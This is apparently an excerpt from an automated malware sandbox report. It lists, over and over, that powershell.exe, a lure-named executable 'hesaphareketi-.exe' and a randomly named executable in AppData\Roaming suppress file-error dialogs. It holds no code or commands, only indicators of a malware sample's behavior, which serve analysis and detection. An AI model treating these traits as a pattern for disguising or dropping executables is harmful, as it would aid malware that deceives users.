Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
